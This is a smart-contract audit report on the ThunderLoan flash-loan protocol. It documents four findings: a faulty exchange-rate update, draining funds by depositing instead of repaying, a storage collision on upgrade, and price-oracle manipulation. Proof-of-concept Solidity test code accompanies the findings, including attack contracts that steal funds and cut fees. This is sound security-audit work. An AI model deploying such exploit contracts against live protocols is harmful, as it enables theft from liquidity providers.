ThunderLoan Audit Report

Version 1.0

Boris Kolev

May 8, 2024

Protocol Audit Report

Boris Kolev

May 08, 2024

Prepared by: Boris Kolev

Lead Auditors:

- Boris Kolev

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
  - Medium

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

Boris Kolev makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Known Issues

- We are aware that `getCalculatedFee` can result in 0 fees for very small flash loans. We are OK with that. There is some small rounding errors when it comes to low fees
- We are aware that the first depositor gets an unfair advantage in assetToken distribution. We will be making a large initial deposit to mitigate this, and this is a known issue
- We are aware that "weird" ERC20s break the protocol, including fee-on-transfer, rebasing, and ERC-777 tokens. The owner will vet any additional tokens before adding them to the protocol.

Executive Summary

The audit resulted in three `high` findings and one `medium`.

The audit took 5 day of reviwing, utilizing `manual review`, `fuzz testing`, etc.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Informational	0
Gas	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more fees than it actually does, which blocks redemption and incorrectly inflates the fees

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees.

```
  function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
@>    uint256 calculatedFee = getCalculatedFee(token, amount);
@>    assetToken.updateExchangeRate(calculatedFee); // This update
     should not happen in the deposit function
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact There are several issues with this code:

1. The `redeem` function is blocked, because the protocol thinks the owed tokens are higher than they actually are.
2. Rewards are incorrectly calculated, leading to liquidity providers receiving more or less fees than they should.

Proof of Concept

1. LP deposits.
2. User takes out a flash loan.
3. It is now impossible for LP to redeem.

POC

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
}
```

Recommended mitigation

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-         uint256 calculatedFee = getCalculatedFee(token, amount);
-         assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
}
```

[H-2] User can use `ThunderLoan::deposit` instead of `ThunderLoan::repay` to repay a flash loan, allowing the user to drain the protocol of funds

Description When a user takes out a flash loan, they are required to repay the loan in the same transaction. However, the flashloan functionality only check the protocol's end balance, which can be altered by using the `deposit` function instead of the `repay` function. The `deposit` function does not check if the user is currently in a flash loan, allowing the user to deposit the floashloan amount into the protocol, satisfying the flash loan requirements, and then use the `redeem` function to withdraw the funds.

Impact Users can drain the protocol of funds by taking out flash loans and depositing the loan amount into the protocol, then withdrawing the funds.

Proof of Concept

1. User takes out a loan of 1000 `tokenA` from `ThunderLoan`.
2. Instead of repaying the loan, the user deposits the amount into the protocol in the same transaction as the flash loan. This in turn satisfies the flash loan requirements for the end balance.
3. User can now use `redeem` to withdraw the funds and drain the protocol.

POC

```

    function testUseDepositInsteadOfRepayToStealFunds() public
        setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeem();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeem() public {
        uint256 amountToRedeem = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amountToRedeem);
    }
}
```

Recommended mitigation Add a check in the `deposit` function to ensure that the user is not currently in a flash loan.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
+       if (s_currentlyFlashLoaning[token]) {
+           revert ThunderLoan__CannotDepositWhileFlashloaning();
+       }
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
}
```

[H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol

Description `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the `ThunderLoanUpgraded.sol` has them in the opposite order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity works, the storage slot for `s_flashLoanFee` is the same as the storage slot for `s_feePrecision`. This causes a storage collision, and the protocol is frozen.

Impact After the upgrade. the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users that take out flash loans after the upgrade will pay much higher fees. Also, the `s_currentlyFlashLoaning` mapping will be corrupted, causing the protocol to freeze.

Proof of Concept The proof of concept can be seen in the `ThunderLoanTest.t.sol` file:

```
function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();

    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded newImplementation = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(newImplementation), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    console.log("Fee before upgrade: ", feeBeforeUpgrade);
    console.log("Fee after upgrade: ", feeAfterUpgrade);

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

Recommended mitigation If you need to remove the storage variable, make sure to leave it as blank in the upgraded contract, so that you do not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as a price orace leeds to price and oracle manipulation attack, leading to users paying less fees than they should

Description The TSwap protocol is a constant product formula based AMM. The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact Liquidity providers will drastically reduce fees for providing liquidity, leading to a loss of revenue for the protocol.

Proof of Concept

The :point-down: happens in one transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `feeOne`. During the flash loan, they:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying the loan right away, the user takes out a second flash loan for 1000 `tokenA`.
        1. Due to the fact that `ThunderLoan` calculates fees based on the price of `tokenA`, the second loan is charged a lower fee `feeTwo`.
    3. User then repays the first loan, and then the second flash loan.

The exploit can be seen in the `ThunderLoanTest.t.sol` file:

POC

```
function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // Fund TSWAP

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();

        // Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // Take out two loans -> to nuke the price of Weth/TokenA on TSWAP -> reduce fees
        uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal Fee: ", normalFee);

        uint256 amountToBorrow = 50e18;

        MaliciousFlashLoanReceiver mfr = new MaliciousFlashLoanReceiver(
            address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(mfr), 100e18);
        thunderLoan.flashloan(address(mfr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = mfr.feeOne() + mfr.feeTwo();
        console.log("Attack Fee: ", attackFee);

        assert(attackFee < normalFee);
    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    BuffMockTSwap tswapPool;
    address repayAddress;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    uint256 constant DEPOSIT_AMOUNT = 100e18;

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswapPool = BuffMockTSwap(_tswapPool);
        repayAddress = _repayAddress;
        attacked = false;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, DEPOSIT_AMOUNT, DEPOSIT_AMOUNT);
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);

            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            feeTwo = fee;
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
}
```

Recommended mitigation Consider using a different price oracle that is less susceptible to manipulation (e.g Chainlink, Uniswap, etc.)